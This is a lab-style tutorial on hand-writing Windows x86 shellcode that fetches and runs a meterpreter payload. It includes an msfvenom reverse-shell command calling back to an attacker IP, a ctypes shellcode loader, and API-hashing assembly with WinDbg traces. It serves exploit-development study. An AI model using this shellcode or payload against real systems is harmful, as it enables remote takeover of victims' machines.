Post

Windows x86 Custom Reverse Shellcode - Metasploit

How to write custom shellcode for Windows x86 OS. This walkthrough covers how to write a functional shellcode using the keystone framework and assembly with the help of cytpes.

Windows x86 Custom Reverse Shellcode - Metasploit

Custom Shellcode for Windows x86

Goals

The shellcode must perform the following actions:

  • Use the Win32 API SHGetFolderPathA to discover the full path to the desktop of the current user.
  • Append the file name (“\met.exe”) to the path returned by SHGetFolderPathA without relying on a fixed length of the path.
  • Download the meterpreter executable from the Kali web server to the desktop of the current user with the Win32 API URLDownloadToFileA.
  • Execute the meterpreter executable with the Win32 API WinExec
  • The shellcode must gracefully terminate with the Win32 API TerminateProcess

Generate Msfvenom Payload


1
2
3
4
5
6
7
8
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.164 LPORT=443 -f exe -o met.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: met.exe

Generating Hash Values


1
2
3
4
5
6
7
8
9
10
11
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python PoC.py SHGetFolderPathA
0x3745c867
                                                                                                                                                                                                                        
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python PoC.py URLDownloadToFileA
0x702f1a36

┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python PoC.py WinExec
0xe8afe98

Modifying Host


1
C:\Windows\System32\drivers\etc\host
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
192.168.45.164      kali.com
192.168.45.164      kali

Windows x86 Custom Shellcode

A shellcode is a set of CPU instructions meant to be executed after a vulnerability is successfully exploited. The term “shellcode” originally referred to the portion of an exploit used to spawn a root shell. While reverse shells are common, it’s important to understand that we can use shellcode in much more complex ways. In the following section, we will review the basics of writing a shellcode based on a startup template that we can use to write custom shellcode with different functions.

Startup Template


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffffdf0           ;"  #   Avoid NULL bytes
    " find_kernel32:                     "  #
    "   xor   ecx, ecx                  ;"  #   ECX = 0
    "   mov   esi,fs:[ecx+30h]          ;"  #   ESI = &(PEB) ([FS:0x30])
    "   mov   esi,[esi+0Ch]             ;"  #   ESI = PEB->Ldr
    "   mov   esi,[esi+1Ch]             ;"  #   ESI = PEB->Ldr.InInitOrder
    " next_module:                      "   #
    "   mov   ebx, [esi+8h]             ;"  #   EBX = InInitOrder[X].base_address
    "   mov   edi, [esi+20h]            ;"  #   EDI = InInitOrder[X].module_name
    "   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next)
    "   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00?
    "   jne   next_module               ;"  #   No: try next module.
    " find_function_shorten:             "  #
    "   jmp find_function_shorten_bnc   ;"  #   Short jump
    " find_function_ret:                 "  #
    "   pop esi                         ;"  #   POP the return address from the stack
    "   mov   [ebp+0x04], esi           ;"  #   Save find_function address for later usage
    "   jmp resolve_symbols_kernel32    ;"  #
    " find_function_shorten_bnc:         "  #   
    "   call find_function_ret          ;"  #   Relative CALL with negative offset
    " find_function:                     "  #
    "   pushad                          ;"  #   Save all registers
                                            #   Base address of kernel32 is in EBX from 
                                            #   Previous step (find_kernel32)
    "   mov   eax, [ebx+0x3c]           ;"  #   Offset to PE Signature
    "   mov   edi, [ebx+eax+0x78]       ;"  #   Export Table Directory RVA
    "   add   edi, ebx                  ;"  #   Export Table Directory VMA
    "   mov   ecx, [edi+0x18]           ;"  #   NumberOfNames
    "   mov   eax, [edi+0x20]           ;"  #   AddressOfNames RVA
    "   add   eax, ebx                  ;"  #   AddressOfNames VMA
    "   mov   [ebp-4], eax              ;"  #   Save AddressOfNames VMA for later
    " find_function_loop:                "  #
    "   jecxz find_function_finished    ;"  #   Jump to the end if ECX is 0
    "   dec   ecx                       ;"  #   Decrement our names counter
    "   mov   eax, [ebp-4]              ;"  #   Restore AddressOfNames VMA
    "   mov   esi, [eax+ecx*4]          ;"  #   Get the RVA of the symbol name
    "   add   esi, ebx                  ;"  #   Set ESI to the VMA of the current symbol name
    " compute_hash:                      "  #
    "   xor   eax, eax                  ;"  #   NULL EAX
    "   cdq                             ;"  #   NULL EDX
    "   cld                             ;"  #   Clear direction
    " compute_hash_again:                "  #
    "   lodsb                           ;"  #   Load the next byte from esi into al
    "   test  al, al                    ;"  #   Check for NULL terminator
    "   jz    compute_hash_finished     ;"  #   If the ZF is set, we've hit the NULL term
    "   ror   edx, 0x0d                 ;"  #   Rotate edx 13 bits to the right
    "   add   edx, eax                  ;"  #   Add the new byte to the accumulator
    "   jmp   compute_hash_again        ;"  #   Next iteration
    " compute_hash_finished:             "  #
    " find_function_compare:             "  #
    "   cmp   edx, [esp+0x24]           ;"  #   Compare the computed hash with the requested hash
    "   jnz   find_function_loop        ;"  #   If it doesn't match go back to find_function_loop
    "   mov   edx, [edi+0x24]           ;"  #   AddressOfNameOrdinals RVA
    "   add   edx, ebx                  ;"  #   AddressOfNameOrdinals VMA
    "   mov   cx,  [edx+2*ecx]          ;"  #   Extrapolate the function's ordinal
    "   mov   edx, [edi+0x1c]           ;"  #   AddressOfFunctions RVA
    "   add   edx, ebx                  ;"  #   AddressOfFunctions VMA
    "   mov   eax, [edx+4*ecx]          ;"  #   Get the function RVA
    "   add   eax, ebx                  ;"  #   Get the function VMA
    "   mov   [esp+0x1c], eax           ;"  #   Overwrite stack version of eax from pushad
    " find_function_finished:            "  #
    "   popad                           ;"  #   Restore registers
    "   ret                             ;"  #
    " resolve_symbols_kernel32:          "
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage
    " exec_shellcode:                    "  #
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   push  ecx                       ;"  #   uExitCode
    "   push  0xffffffff                ;"  #   hProcess
    "   call dword ptr [ebp+0x10]       ;"  #   Call TerminateProcess
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Assembly Instructions Breakdown

Initialization Section


1
2
3
4
start:                            ; Start of the shellcode
    int3                          ; Breakpoint for debugging (Windbg)
    mov   ebp, esp                ; Set up stack frame
    add   esp, 0xfffffdf0         ; Adjust stack pointer to avoid NULL bytes
  • int3: This instruction is a breakpoint used during debugging. It should be removed after testing/development.
  • mov ebp, esp: Initializes the base pointer (EBP) to the current stack pointer (ESP), establishing a new stack frame.
  • add esp, 0xfffffdf0: Adjusts the stack pointer to avoid NULL bytes, which can cause issues in memory allocation.

Finding kernel32


1
2
3
4
5
find_kernel32:                    ; Label for finding the kernel32 module
    xor   ecx, ecx                ; Clear ECX (set to 0)
    mov   esi, fs:[ecx+30h]       ; Load PEB (Process Environment Block) address
    mov   esi, [esi+0Ch]          ; Load the Loader data structure
    mov   esi, [esi+1Ch]          ; Load the InInitOrder list
  • xor ecx, ecx: Clears ECX register (sets it to 0).
  • mov esi, fs:[ecx+30h]: Accesses the PEB, which contains information about the current process.
  • mov esi, [esi+0Ch]: Retrieves the address of the loader data structure.
  • mov esi, [esi+1Ch]: Gets the head of the linked list of loaded modules.

Module


1
2
3
4
5
6
next_module:                      ; Label for the next module in the list
    mov   ebx, [esi+8h]           ; Get base address of the current module
    mov   edi, [esi+20h]          ; Get the module name (RVA)
    mov   esi, [esi]              ; Move to the next module in the list
    cmp   [edi+12*2], cx          ; Check if the module name is NULL (end of string)
    jne   next_module             ; If not NULL, continue to next module
  • mov ebx, [esi+8h]: EBX now holds the base address of the current module.
  • mov edi, [esi+20h]: EDI gets the address of the module name.
  • mov esi, [esi]: Updates ESI to point to the next module in the list.
  • cmp [edi+12*2], cx: Checks if the 12th byte of the module name is NULL, indicating the end of the string.
  • jne next_module: If not NULL, it continues searching through the module list.

Finding Function by


1
2
3
4
5
6
find_function_shorten:             ; Label for finding function
    jmp find_function_shorten_bnc  ; Short jump to the next label
find_function_ret:                 ; Label for returning from function search
    pop esi                        ; Retrieve return address from stack
    mov   [ebp+0x04], esi          ; Store the find_function address
    jmp resolve_symbols_kernel32   ; Jump to resolve symbols
  • jmp find_function_shorten_bnc: Jumps to the next label for a short call.
  • pop esi: Pops the return address into ESI.
  • mov [ebp+0x04], esi: Saves the address of the function that will be called later.

Function


1
2
3
4
5
6
7
8
9
10
11
find_function_shorten_bnc:         ; Label for the short function search
    call find_function_ret         ; Calls the return label
find_function:                     ; Label for the actual function lookup
    pushad                         ; Save all registers
    mov   eax, [ebx+0x3c]          ; Get PE signature offset
    mov   edi, [ebx+eax+0x78]      ; Get the Export Table Directory RVA
    add   edi, ebx                 ; Convert to VMA
    mov   ecx, [edi+0x18]          ; Get number of names
    mov   eax, [edi+0x20]          ; Get AddressOfNames RVA
    add   eax, ebx                 ; Convert to VMA
    mov   [ebp-4], eax             ; Store AddressOfNames VMA
  • pushad: Saves all general-purpose registers.
  • mov eax, [ebx+0x3c]: Retrieves the offset to the PE signature.
  • mov edi, [ebx+eax+0x78]: Gets the RVA of the Export Table Directory.
  • add edi, ebx: Converts the RVA to a Virtual Memory Address (VMA).
  • mov ecx, [edi+0x18]: Loads the number of exported names.
  • mov eax, [edi+0x20]: Retrieves the RVA of the AddressOfNames.
  • add eax, ebx: Converts the RVA to VMA and stores it for later use.

Loop to Find Function


1
2
3
4
5
6
find_function_loop:                ; Label for looping through function names
    jecxz find_function_finished   ; Jump if ECX is zero (no more names)
    dec   ecx                      ; Decrement number of names
    mov   eax, [ebp-4]             ; Restore AddressOfNames VMA
    mov   esi, [eax+ecx*4]         ; Get RVA of the symbol name
    add   esi, ebx                 ; Convert to VMA
  • jecxz find_function_finished: If ECX is zero (no names left), jump to finish.
  • dec ecx: Decrease the count of function names.
  • mov eax, [ebp-4]: Restores the AddressOfNames.
  • mov esi, [eax+ecx*4]: Gets the RVA of the current symbol name.
  • add esi, ebx: Converts to VMA of the current symbol name.

Compute Hash for


1
2
3
4
5
6
7
8
9
10
11
compute_hash:                      ; Label for computing hash
    xor   eax, eax                 ; Clear EAX
    cdq                            ; Clear EDX
    cld                            ; Clear direction flag
compute_hash_again:                ; Loop label for hashing
    lodsb                          ; Load byte from ESI into AL
    test  al, al                   ; Check for NULL terminator
    jz    compute_hash_finished    ; If NULL, finish hashing
    ror   edx, 0x0d                ; Rotate EDX right by 13 bits
    add   edx, eax                 ; Add byte to the hash accumulator
    jmp   compute_hash_again       ; Repeat
  • xor eax, eax: Clears the EAX register.
  • cdq: Extends EAX into EDX, setting it to zero.
  • cld: Clears the direction flag (ensures string operations go forward).
  • lodsb: Loads the next byte from the address in ESI into AL.
  • test al, al: Checks if this byte is NULL.
  • ror edx, 0x0d: Rotates EDX right by 13 bits.
  • add edx, eax: Adds the current byte to the accumulated hash.
  • jmp compute_hash_again: Continues hashing until a NULL byte is found.

Compare Hash and Resolve Function


1
2
3
4
5
6
7
8
9
10
11
12
compute_hash_finished:             ; Label for finishing hash computation
find_function_compare:             ; Label for comparing hashes
    cmp   edx, [esp+0x24]          ; Compare computed hash with the desired hash
    jnz   find_function_loop       ; If not equal, loop back
    mov   edx, [edi+0x24]          ; Get AddressOfNameOrdinals RVA
    add   edx, ebx                 ; Convert to VMA
    mov   cx,  [edx+2*ecx]         ; Get function's ordinal
    mov   edx, [edi+0x1c]          ; Get AddressOfFunctions RVA
    add   edx, ebx                 ; Convert to VMA
    mov   eax, [edx+4*ecx]         ; Get function RVA
    add   eax, ebx                 ; Convert to VMA
    mov   [esp+0x1c], eax          ; Update stack version of EAX
  • cmp edx, [esp+0x24]: Compares the computed hash with the expected hash.
  • jnz find_function_loop: If they don’t match, go back to find another function.
  • mov edx, [edi+0x24]: Gets the RVA for the ordinal numbers of the functions.
  • add edx, ebx: Converts to VMA.
  • mov cx, [edx+2*ecx]: Extracts the function’s ordinal.
  • mov edx, [edi+0x1c]: Gets the RVA for the functions’ addresses.
  • add edx, ebx: Converts to VMA.
  • mov eax, [edx+4*ecx]: Retrieves the RVA of the function.
  • add eax, ebx: Converts to VMA, and updates the stack.

Finish Function Lookup


1
2
3
find_function_finished:            ; Label for finishing function lookup
    popad                          ; Restore all registers
    ret                            ; Return from the function
  • popad: Restores all previously saved registers.
  • ret: Returns control to the calling function.

Resolving Symbols


1
2
3
4
resolve_symbols_kernel32:          ; Label for resolving symbols in kernel32
    push  0x78b5b983               ; Push the hash for TerminateProcess
    call dword ptr [ebp+0x04]      ; Call find_function to get the address
    mov   [ebp+0x10], eax          ; Store the address of TerminateProcess
  • push 0x78b5b983: Pushes the hash of the TerminateProcess function.
  • call dword ptr [ebp+0x04]: Calls the previously stored function address to find the actual function.
  • mov [ebp+0x10], eax: Saves the address of TerminateProcess for later use.

Executing Shellcode


1
2
3
4
5
exec_shellcode:                    ; Label for executing the shellcode
    xor   ecx, ecx                 ; Clear ECX (set to 0)
    push  ecx                      ; Push exit code
    push  0xffffffff               ; Push process handle
    call dword ptr [ebp+0x10]      ; Call TerminateProcess
  • xor ecx, ecx: Clears ECX, setting it to 0 (exit code).
  • push ecx: Pushes the exit code onto the stack.
  • push 0xffffffff: Pushes the handle for the process to terminate.
  • call dword ptr [ebp+0x10]: Calls TerminateProcess to execute the termination.

The following instructions setup the environment on the stack, locate the kernel32 module and its using the Export Directory Table (EDT). Then computes the hash for function names to find specific functions dynamically. Finally, it safely terminates by calling the TerminiateProcess function whose address was located using it’s hash by traversing through the EDT; specifically AddressOfNames. With all the building blocks of a shellcode in place, we can choose the shellcode’s purpose.

SHGetFolderPathA

SHGetFolderPathA is a function in the Windows32 API that retrieves the path of a special folder, such as the Documents or Desktop folder, as an ANSI string. This function is part of the Shell API and is useful for applications that need to access user-specific directories.

Function Prototype


1
2
3
4
5
6
7
SHFOLDERAPI SHGetFolderPathA(
  [in]  HWND   hwnd,
  [in]  int    csidl,
  [in]  HANDLE hToken,
  [in]  DWORD  dwFlags,
  [out] LPSTR  pszPath
);

Parameters

  • hwnd: A handle to the owner window. This can be NULL.
  • csidl: An integer that specifies the CSIDL (Constant Special Item Description List) value for the folder you want to retrieve.
  • hToken: A handle to a user token. This can also be NULL.
  • dwFlags: Flags that control the retrieval. Typically set to 0.
  • pszPath: A pointer to a buffer that receives the path to the specified folder as an ANSI string.

The shellcode can already resolve symbols from kernel32.dll, so our first step is to resolve the LoadLibraryA API (which is exported by kernel32.dll) and store the address for later use. Next, we need to load shell32.dll into the shellcode memory space and obtain its base address. This will allow us to resolve and load the SHGetFolderPathA function we need for this shellcode.

1
2
3
4
5
6
7
8
9
10
11
    " find_function_finished:            "  #
    "   popad                           ;"  #   Restore registers
    "   ret                             ;"  #

    " resolve_symbols_kernel32:          "
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage
    "   push  0xec0e4e8e                ;"  #   LoadLibraryA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x14], eax           ;"  #   Save LoadLibraryA address for later usage

The updated shellcode resolves the two symbols we need from kernel32.dll, LoadLibraryA and TerminiateProcess, as part of the resolve_symbols_kernel32 function. Next, we need to set up the call to LoadLibraryA.

1
2
3
4
5
6
7
8
    " load_shell32:                      "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x6c6c64                  ;"  #   Push "lld" and NULL terminator on the stack
    "   push  0x2e32336c                ;"  #   Push ".23l" on the stack
    "   push  0x6c656873                ;"  #   Push "lehs" on the stack
    "   push  esp                       ;"  #   Push ESP to have a pointer to the string
    "   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA

Let’s run our updated shellcode to confirm it works inside our debugger. After hitting our INT3 instruction, we will set up a breakpoint right at the beginning of load_shell32 and resume the execution flow. We proceed to single step through the instructions until we reach the call to LoadLibraryA. Before stepping over the call, let’s verify the first argument pushed on the stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:003> bp 00b100a8
0:003> bl
     0 e Disable Clear  00b100a8     0001 (0001)  0:**** 
0:003> g
Breakpoint 0 hit
eax=00000000 ebx=77710000 ecx=00000000 edx=00b10000 esi=00b10030 edi=00b222b8
eip=00b100a8 esp=02def668 ebp=02defc94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00b100a8 ff5514          call    dword ptr [ebp+14h]  ss:0023:02defca8={KERNEL32!LoadLibraryAStub (77738b20)}
0:003> da poi(esp)
02def66c  "shell32.dll"
0:003> p
ModLoad: 76380000 776b3000   C:\Windows\System32\shell32.dll
ModLoad: 74910000 74948000   C:\Windows\System32\cfgmgr32.dll
ModLoad: 753d0000 75458000   C:\Windows\System32\shcore.dll
ModLoad: 749a0000 74f66000   C:\Windows\System32\windows.storage.dll
ModLoad: 74220000 7422e000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 74230000 74275000   C:\Windows\System32\powrprof.dll
ModLoad: 74280000 74294000   C:\Windows\System32\profapi.dll
eax=76380000 ebx=77710000 ecx=00000000 edx=00590938 esi=00b10030 edi=00b222b8
eip=00b100ab esp=02def66c ebp=02defc94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00b100ab 31c9            xor     ecx,ecx
0:003> r @eax
eax=76380000
0:003> lm m shell32
Browse full module list
start    end        module name
76380000 776b3000   shell32    (deferred)

The output above shows that our argument is set up correctly before the call to LoadLibraryA. After we step over the call, we’ll notice that shell32.dll is now loaded in the memory space of our shellcode, and EAX contains its base address.The next step is using it to load SHGetFolderPathA.

1
2
3
4
5
    " resolve_symbols_shell32:           "
    "   mov   ebx, eax                  ;"  #   Move the base address of shell32.dll to EBX
    "   push  0x3745c867                ;"  #   SHGetFolderPathA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x1C], eax           ;"  #   Save SHGetFolderPathA address for later usage

Let’s go ahead and run the most script with the new implementation, so we can examine the output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:004> pt
eax=7656c830 ebx=76380000 ecx=00000000 edx=001d0938 esi=02750030 edi=006722b8
eip=0275007e esp=02b3f668 ebp=02b3fc98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0275007e c3              ret
0:004> p
eax=7656c830 ebx=76380000 ecx=00000000 edx=001d0938 esi=02750030 edi=006722b8
eip=027500b5 esp=02b3f66c ebp=02b3fc98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
027500b5 89451c          mov     dword ptr [ebp+1Ch],eax ss:0023:02b3fcb4=3d6aff7c
0:004> u @eax
shell32!SHGetFolderPathAStub:
7656c830 8bff            mov     edi,edi
7656c832 55              push    ebp
7656c833 8bec            mov     ebp,esp
7656c835 5d              pop     ebp
7656c836 ff25849f8676    jmp     dword ptr [shell32!_imp__SHGetFolderPathA (76869f84)]
7656c83c cc              int     3
7656c83d cc              int     3
7656c83e cc              int     3

The output above confirms that we are able to successfully resolve the SHGetFolderPathA function. The next step is to push the arguments of this function on the stack, then call the function. Let’s review the function prototype one more time.

1
2
3
4
5
6
7
SHFOLDERAPI SHGetFolderPathA(
  [in]  HWND   hwnd,
  [in]  int    csidl,
  [in]  HANDLE hToken,
  [in]  DWORD  dwFlags,
  [out] LPSTR  pszPath
);

HWND hwnd: Handle to the owner window (can be NULL). int csidl: The CSIDL (Constant Special Item Identifier) value that specifies the folder to retrieve. For the desktop, use CSIDL_DESKTOP (0). HANDLE hToken: A token that represents a user (can be NULL). DWORD dwFlags: Flags for special behavior (usually 0). LPSTR pszPath: A pointer to a buffer that receives the folder path.

1
2
3
4
5
6
7
8
9
10
11
    " call shgetfolderpatha:             "  
    "   push  0x42424242                ;"  #   Re-align the stack             
    "   xor   eax, eax                  ;"  #   Null EAX
    "   lea   eax, [ebp+0x100]          ;"  #   Load address of the buffer 
    "   push  eax                       ;"  #   pszPath -> EAX
    "   xor   eax, eax                  ;"  #   Null EAX Again
    "   push  eax                       ;"  #   dwFlags -> 0
    "   push  eax                       ;"  #   hToken -> Null
    "   push  eax                       ;"  #   CSIDL -> Desktop -> 0
    "   push  eax                       ;"  #   Owner window -> Null
    "   call  dword ptr [ebp+0x1C]      ;"  #   Call SHGetFolderPathA 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> dd esp L5
02fdf428  00000000 00000000 00000000 00000000
02fdf438  02fdfb68
0:005> p
eax=00000000 ebx=76380000 ecx=1a201d1c edx=02fdf244 esi=00f20030 edi=009422b8
eip=00f200ca esp=02fdf43c ebp=02fdfa68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00f200ca 31c9            xor     ecx,ecx
0:005> db 02fdfb68
02fdfb68  43 3a 5c 55 73 65 72 73-5c 4f 66 66 73 65 63 5c  C:\Users\Offsec\
02fdfb78  44 65 73 6b 74 6f 70 00-00 00 00 00 00 00 00 00  Desktop.........
02fdfb88  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02fdfb98  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02fdfba8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02fdfbb8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02fdfbc8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02fdfbd8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

There’s really no straight forward way to achieving this result, because there are multiple ways to arrive to this point. Sometimes the idea might not translate well in action/implementation, so we have to be able to understand why and make changes. In the above assembly instructions, we started off by re-aligning the stack, for some reason the xor instruction was getting mangled somewhere, that usually happens after a pop instruction. So, I added some junk bytes to re-align the stack. One thing that did go unnoticed for me was the calling convention. I ran into an issue, after stepping over the call to SHGetFolderPathA, the value in the EAX register was 80070057. The hexadecimal value 0x80070057 translates to the Windows system error code ERROR_INVALID_PARAMETER. This means that one of the arguments passed to SHGetFolderPathA is not valid according to the Microsoft Documentation. It turns out I wasn’t using the right calling convention. The default calling convention for windows is _STDCALL, in 32-bit x86 architecture, the _stdcall calling convention dictates that arguments are pushed onto the stack in reverse order (right to left). This means the last argument in the function definition (pszPath in this case) should be the first one pushed, and the first argument (hwndOwner) should be pushed last.

This is why the pszPath argument was pushed on the stack first, because in reality it will be the last before the function call to SHGetFolderPathA. The pszPath argument takes a buffer address, with a max size of 260 bytes. Based on how much space we created in the start block of the shellcode instructions, I think we have more than enough space on the stack, we just need a safe space to designate as the buffer address. I picked the arbitrary number 100H because it’s within a safe distance from everything else we have on the stack, so the possibility of it getting mangled with other addresses/content on the stack is low. To achieve this, we load the effective address of EBP plus the 100H offset into EAX, then we pushed it on the stack. For all the other arguments, we should be able to get by with passing just the NULL/Zero value to them. The most effective way to do this is to make EAX NULL again, then push it on the stack four times for all the other arguments. With this approach, as shown in the output above, we are able to get the path of the current user Desktop directory, then next step is parsing and appending the file name (“\met.exe”) to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    " store_filename:                    "
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push Null terminator
    "   push  0x6578652e                ;"  #   Push ".exe" on the stack
    "   push  0x74656d5c                ;"  #   Push "tem\" on the stack
    "   lea   esi, [esp]                ;"  #   Load the address of ESP into ESI
    "   mov   edi, ebp                  ;"  #   Load EBP address into EDI
    "   add   edi, 76h                  ;"  #   Add 76h offset to the address in EDI
    "   mov   ecx, 8                    ;"  #   Length of "\met.exe" (including null terminator)
    "   rep   movsb                     ;"  #   Copy filename to [EBP+76h]
    " prepare_search:                    "
    "   lea   edi, [ebp+0x100]          ;"  #   Load the address of the path buffer into EDI
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   add   ecx, 0xfffffefc           ;"  #   Add -260 to ECX
    "   neg   ecx                       ;"  #   Negate ECX -> 260
    "   xor   al, al                    ;"  #   Set AL (lower byte of EAX) to 0 for Null terminator
    " find_null_terminator:              "
    "   repne scasb                     ;"  #   Scan string at EDI for AL (null terminator), decrementing ECX
    "   dec   edi                       ;"  #   Go back to the null terminator
    "   mov   ecx, 8                    ;"  #   Length of "\met.exe" (including null terminator)
    "   lea   esi, [ebp+0x76]           ;"  #   Load the address of "\met.exe" into ESI
    "   rep   movsb                     ;"  #   Copy ECX bytes from ESI to EDI

The instructions above allow us to store the filename we want to append, find the end of the null terminator in the path string, then copy the filename we want to append next to it. In the store_filename function, we started off by making EAX Null, then we pushed that Null value on the stack to be used as the null terminator. Then following both the _stdcall calling convention and the little endian format, we pushed the hex for the filename on the stack. Since we are going to be using rep movsb to copy the filename from the stack to another location, we need to position its arguments with the appropriate values before it’s called. First, we need to load the stack pointer (ESP) address into the ESI register, then load the destination address into the EDI register. After, we loaded the length of the string to be copied in the ECX register. This is ensure everything is setup and aligned to copy the string “\met.exe” from the stack to an arbitrary location (EBP+76h), then we call repeat move string byte to recursively copy the string. We could make a few changes to make the instructions more efficient.

1
2
mov ecx, 0xfffffff8
neg ecx

The instructions above should replace mov ecx, 8, this instruction could produce null bytes or potential bad characters. It’s safer to move negative 8 into ecx, then perform a negation operation on it, which should give us the same result as the one in the previous example but without bad characters. We will set a breakpoint on the rep movsb instruction in the find_null_terminator function, then single step through the execution after the breakpoint is hit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
0:003> bp 03250103
0:003> g
ModLoad: 76380000 776b3000   C:\Windows\System32\shell32.dll
ModLoad: 74910000 74948000   C:\Windows\System32\cfgmgr32.dll
ModLoad: 753d0000 75458000   C:\Windows\System32\shcore.dll
ModLoad: 749a0000 74f66000   C:\Windows\System32\windows.storage.dll
ModLoad: 74220000 7422e000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 74230000 74275000   C:\Windows\System32\powrprof.dll
ModLoad: 74280000 74294000   C:\Windows\System32\profapi.dll
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000008 edx=0363f084 esi=0363f91e edi=0363f9bf
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000007 edx=0363f084 esi=0363f91f edi=0363f9c0
eip=03250103 esp=0363f270 ebp=0363f8a8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
03250103 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:003> t
Breakpoint 0 hit
eax=00000000 ebx=76380000 ecx=00000006 edx=0363f084 esi=0363f920 edi=0363f9c1
